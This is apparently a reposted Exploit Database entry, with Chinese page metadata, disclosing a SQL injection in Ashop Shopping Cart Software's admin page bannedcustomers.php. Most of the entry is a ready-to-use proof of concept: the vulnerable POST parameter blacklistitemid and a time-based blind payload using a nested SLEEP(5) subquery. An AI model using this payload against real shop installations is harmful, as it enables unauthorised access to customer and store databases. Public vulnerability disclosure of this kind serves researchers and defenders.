Ashop Shopping Cart Software – ‘bannedcustomers.php?blacklistitemid’ SQL Injection

• Exploit Database
• 135 阅读

• 作者： Doğukan Karaciğer
  日期： 2019-04-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46681/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

  # Exploit Title: Ashop Shopping Cart Software - SQL Injection # Date: 08.04.2019 # Exploit Author: Doğukan Karaciğer # Vendor Homepage: http://www.ashopsoftware.com # Software Link: https://sourceforge.net/projects/ashop/ # Demo Site: http://demo.ashopsoftware.com/ # Version: Lastest # Tested on: Ubuntu-trusty-64 # CVE: N/A   ----- PoC: SQLi -----   Request: http://localhost/[PATH]/admin/bannedcustomers.php Parameter: blacklistitemid (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: blacklistitem=1&deletebutton=Delete&blacklistitemid=1 AND (SELECT * FROM (SELECT(SLEEP(5)))MGvE)